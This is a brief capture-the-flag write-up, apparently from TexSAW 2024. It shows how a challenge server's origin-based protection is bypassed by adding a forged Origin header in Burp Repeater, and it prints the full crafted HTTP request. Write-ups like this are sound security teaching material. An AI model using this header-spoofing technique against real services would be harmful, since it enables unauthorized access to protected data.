We are at 3.23.56.243:9003. We are so secure that we only allow requests from
our own origin to access secret data.

\---

Checking out the page request in Burp, we find this line in the response:

```yaml  
Access-Control-Allow-Origin: https://texsaw2024.com  
```

So that's what our origin needs to be. Send the request to / to the Repeater
and add in an Origin request header so that the request now looks like this:

```yaml  
GET / HTTP/1.1  
Host: 3.23.56.243:9003  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36  
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-

Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Connection: close  
Origin: https://texsaw2024.com  
```

And we get the flag!
